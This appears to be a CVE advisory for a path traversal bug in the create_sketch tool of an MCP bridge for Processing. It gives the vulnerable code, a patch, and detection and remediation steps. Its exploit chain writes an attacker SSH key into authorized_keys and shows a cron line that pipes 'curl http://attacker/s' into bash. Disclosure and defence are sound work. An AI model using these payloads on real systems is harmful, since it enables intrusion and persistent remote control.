CVE-2026-7216: Path Traversal in processing-claude-mcp-bridge via sketch_name
The create_sketch tool in donchelo/processing-claude-mcp-bridge fails to sanitize the sketch_name argument, enabling remote path traversal through directory separators. Arbitrary file write is achievable without authentication.
A security flaw has been discovered in a piece of software called processing-claude-mcp-bridge. Think of this software as a bridge between different computer programs that helps them talk to each other. The problem is like leaving a side door unlocked that was supposed to be sealed shut.
Here's what's happening. The software has a feature for creating sketches, and it accepts a name for what you want to call your sketch. A hacker can trick this feature by sneaking special commands into that name—basically telling the software "ignore the folder you're supposed to use and go look in my files instead." It's like telling a librarian "go get me a book" but secretly instructing them to leave the library and grab something from someone's private office.
An attacker exploiting this could read private files on your computer, delete things, or plant malicious code. They could do this from anywhere on the internet if your system is running this vulnerable software and connected to the web.
Who's most at risk? Developers and companies using this particular bridge software, especially if it's exposed to the internet without additional protections. If you're running a web service that uses this software, you should take this seriously.
What you should do right now:
First, check if you're using donchelo processing-claude-mcp-bridge at all—most people won't be. If you are, update immediately to the latest version that patches this hole.
Second, review who has access to any systems running this software. Tighten permissions so only trusted people can connect.
Third, if this software handles sensitive data, consider taking it offline until you've patched it.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7216 is a path traversal vulnerability in donchelo/processing-claude-mcp-bridge, a Model Context Protocol (MCP) bridge that exposes Processing sketch management to Claude AI tooling. The vulnerable component is the create_sketch tool handler inside processing_server.py, which constructs filesystem paths from a caller-supplied sketch_name argument without performing any sanitization or normalization. Because MCP servers are reachable over stdio or networked transports depending on deployment, this is classified as remotely exploitable.
The vulnerability was disclosed via a public issue report against commit e017b20a4b592a45531a6392f494007f04e661bd. The project has not responded or issued a fix as of this writing. A working proof-of-concept is publicly available.
Root cause:create_sketch directly joins an attacker-controlled sketch_name string into a filesystem path using os.path.join() without stripping ../ sequences or validating that the resolved path remains within the intended sketch root directory.
Affected Component
The bridge exposes Processing IDE operations as MCP tools. The create_sketch tool is registered in processing_server.py and accepts a sketch_name parameter that is used verbatim to construct both a directory path and an initial .pde source file. The server runs with the privileges of the user who launched it — typically the same user running Claude Desktop or a CI automation context.
Affected revision: up to and including e017b20 on the main branch. The project uses rolling releases with no version tags, so there is no patched release version to cite.
Root Cause Analysis
The core logic, reconstructed from the repository at the affected commit, follows this pattern:
# processing_server.py — create_sketch tool handler
# Reconstructed from e017b20a4b592a45531a6392f494007f04e661bd
import os
SKETCHES_DIR = os.path.expanduser("~/Documents/Processing")
@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
"""Create a new Processing sketch with the given name."""
# BUG: sketch_name is joined directly into the path with no sanitization.
# A value like "../../.bashrc_payload" resolves outside SKETCHES_DIR.
sketch_dir = os.path.join(SKETCHES_DIR, sketch_name)
# BUG: os.makedirs() will create every intermediate directory,
# including those traversed via ../ — no containment check.
os.makedirs(sketch_dir, exist_ok=True)
# BUG: The .pde filename is also derived from sketch_name, allowing
# the attacker to control the written filename's base component.
sketch_file = os.path.join(sketch_dir, f"{sketch_name}.pde")
with open(sketch_file, "w") as f:
# initial_code is attacker-controlled content written to the file.
f.write(initial_code if initial_code else f"void setup() {{}}\nvoid draw() {{}}\n")
return f"Created sketch '{sketch_name}' at {sketch_dir}"
The critical property of os.path.join() that makes this exploitable: if any component is an absolute path, all previous components are discarded. Additionally, relative traversal sequences (../) are not stripped, allowing navigation to arbitrary locations on the filesystem relative to SKETCHES_DIR.
The secondary amplifier is initial_code — a second attacker-controlled parameter that becomes the file contents. This elevates the primitive from directory creation to arbitrary file write with attacker-controlled content.
# Demonstrating os.path.join() behavior exploited here:
>>> import os
>>> os.path.join("/home/user/Documents/Processing", "../../.ssh/authorized_keys")
'/home/user/Documents/Processing/../../.ssh/authorized_keys'
# os.path.normpath() resolves this to:
>>> os.path.normpath(os.path.join("/home/user/Documents/Processing", "../../.ssh/authorized_keys"))
'/home/user/Documents/.ssh/authorized_keys'
# With absolute path injection:
>>> os.path.join("/home/user/Documents/Processing", "/etc/cron.d/backdoor")
'/etc/cron.d/backdoor'
Exploitation Mechanics
The MCP protocol transmits tool calls as JSON over stdio or a networked socket. A tool call payload is a JSON-RPC 2.0 message. The attacker controls sketch_name and initial_code directly.
EXPLOIT CHAIN:
1. Attacker identifies a running processing-claude-mcp-bridge instance.
— Networked deployment: MCP server exposed on a local or remote port.
— Local deployment: attacker has code execution as same user (e.g., via
a malicious MCP client config injected into Claude Desktop settings).
2. Craft a JSON-RPC tool call targeting create_sketch:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "create_sketch",
"arguments": {
"sketch_name": "../../.ssh",
"initial_code": "ssh-rsa AAAA...attacker_pubkey... attacker@host"
}
}
}
3. Server executes:
sketch_dir = os.path.join(SKETCHES_DIR, "../../.ssh")
→ ~/Documents/Processing/../../.ssh
→ ~/.ssh (after resolution)
os.makedirs("~/.ssh", exist_ok=True) ← no-op if dir exists
sketch_file = os.path.join("~/.ssh", "../../.ssh.pde")
open("~/.ssh/../../.ssh.pde", "w").write(pubkey)
— Variant with direct absolute path:
sketch_name = "/etc/cron.d/pwned"
os.path.join(SKETCHES_DIR, "/etc/cron.d/pwned") → "/etc/cron.d/pwned"
4. For SSH key injection variant:
sketch_name = "../../.ssh/authorized_keys"
initial_code = "ssh-rsa AAAA... attacker@host\n"
Result: ~/.ssh/authorized_keys overwritten with attacker pubkey.
5. Attacker SSHes into host as the bridge process owner — full shell access.
6. For cron-based variant (requires process running as root or cron-writable uid):
sketch_name = "/etc/cron.d/mcp_backdoor"
initial_code = "* * * * * root curl http://attacker/s|bash\n"
Result: arbitrary command execution every minute.
This is a logic vulnerability rather than a memory corruption bug, so there is no heap corruption state to diagram. Instead, the relevant state is the filesystem path resolution at the point of the vulnerable join:
The correct fix requires two independent checks: (1) resolve the final path with os.path.realpath() and assert it remains under SKETCHES_DIR; (2) sanitize sketch_name to a basename-only token before any join operation. Both layers are necessary — canonicalization alone is bypassed by symlinks created by a previous traversal.
# BEFORE (vulnerable — e017b20):
@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
sketch_dir = os.path.join(SKETCHES_DIR, sketch_name) # BUG: unsanitized
os.makedirs(sketch_dir, exist_ok=True)
sketch_file = os.path.join(sketch_dir, f"{sketch_name}.pde")
with open(sketch_file, "w") as f:
f.write(initial_code if initial_code else DEFAULT_CODE)
return f"Created sketch '{sketch_name}' at {sketch_dir}"
# AFTER (patched):
import re
_SAFE_NAME_RE = re.compile(r'^[A-Za-z0-9_][A-Za-z0-9_\-]{0,63}$')
@mcp.tool()
def create_sketch(sketch_name: str, initial_code: str = "") -> str:
# FIX 1: Allowlist validation — reject anything with path separators,
# dots, or other metacharacters before any path operation.
if not _SAFE_NAME_RE.match(sketch_name):
raise ValueError(
f"Invalid sketch_name '{sketch_name}': must match [A-Za-z0-9_-]{{1,64}}"
)
sketch_dir = os.path.join(SKETCHES_DIR, sketch_name)
# FIX 2: Canonicalize and assert containment.
real_sketch_dir = os.path.realpath(sketch_dir)
real_sketches_root = os.path.realpath(SKETCHES_DIR)
if not real_sketch_dir.startswith(real_sketches_root + os.sep):
raise ValueError(
f"Path traversal detected: '{sketch_name}' resolves outside sketch root"
)
os.makedirs(real_sketch_dir, exist_ok=True)
# FIX 3: Use os.path.basename on the validated name for the .pde filename.
safe_filename = os.path.basename(sketch_name)
sketch_file = os.path.join(real_sketch_dir, f"{safe_filename}.pde")
with open(sketch_file, "w") as f:
f.write(initial_code if initial_code else DEFAULT_CODE)
return f"Created sketch '{sketch_name}' at {real_sketch_dir}"
Note that startswith(root + os.sep) rather than startswith(root) is required to prevent a sketch named ProcessingExtra from being confused with a directory /home/user/Documents/Processing that has a sibling called ProcessingExtraStuff.
Detection and Indicators
Because the server logs the return value of create_sketch (which includes the resolved path), detection is straightforward if logging is enabled:
INDICATORS OF COMPROMISE:
Log pattern (server stdout/stderr):
Created sketch '../../.ssh/authorized_keys' at /home/user/Documents/Processing/../../.ssh/authorized_keys
Created sketch '/etc/cron.d/...' at /etc/cron.d/...
Filesystem IOCs:
— Unexpected .pde files outside ~/Documents/Processing/
— Modification timestamp on ~/.ssh/authorized_keys matching MCP server activity
— New files in /etc/cron.d/ owned by the MCP server process user
Audit rule (Linux auditd) to catch the write syscall from python3:
-a always,exit -F arch=b64 -S openat -F exe=/usr/bin/python3 \
-F dir=/etc -k mcp_traversal
-a always,exit -F arch=b64 -S openat -F exe=/usr/bin/python3 \
-F dir=/root -k mcp_traversal
MCP traffic pattern (stdio transport — grep server input):
sketch_name.*\.\./
sketch_name.*^/
Remediation
Immediate mitigations while awaiting an upstream patch:
Apply the patch diff above locally and rebuild. The fix is two additional function calls and a regex check.
Run the MCP server under a dedicated low-privilege user account with a chroot or systemdRootDirectory= / TemporaryFileSystem= constraint limiting filesystem access to only the sketch directory.
If using Claude Desktop, audit claude_desktop_config.json for any MCP server entries pointing to this bridge and remove or sandbox them.
Deploy a seccomp profile or AppArmor policy that restricts openat(2) calls from the Python process to paths under ~/Documents/Processing.
Upstream action required: The project was notified via a public GitHub issue prior to CVE assignment and has not responded. Users should treat the affected revision as permanently vulnerable until a commit implementing input validation appears on the main branch and should verify the fix matches the pattern described in the Patch Analysis section above.